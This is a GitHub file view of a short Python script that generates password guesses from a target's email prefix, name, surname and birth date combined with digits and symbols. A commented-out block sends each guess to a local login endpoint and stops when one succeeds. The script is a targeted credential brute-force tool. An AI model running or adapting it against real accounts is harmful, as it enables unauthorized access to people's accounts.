-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathalgorithm.py
36 lines (29 loc) · 991 Bytes
/
algorithm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
# initialization of vars
email = input('Enter Email: ').split('@')[0]
name = input('Enter name: ')
surname = input('Enter surname: ')
day, month, year = map(str, input(
'Enter date of birth(dd.mm.yyyy): ').split('.'))
# the list that stores our generating data
alphalist = [email, name, surname, day, month,
year, '_', '.', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
base = len(alphalist)
i = 0 # counter
success = False
# generating loop
while not success: # setting up of iteration
password = ''
temp = i
while temp > 0:
c = temp // base
r = temp % base
password = alphalist[r] + password
temp = c
print(i, password)
# response = requests.post('http://127.0.0.1:5000/auth', # an example of website
# json={'login': 'login', 'password': password})
# if response.status_code == 200:
# print('SUCCESS', password)
# success = True
i += 1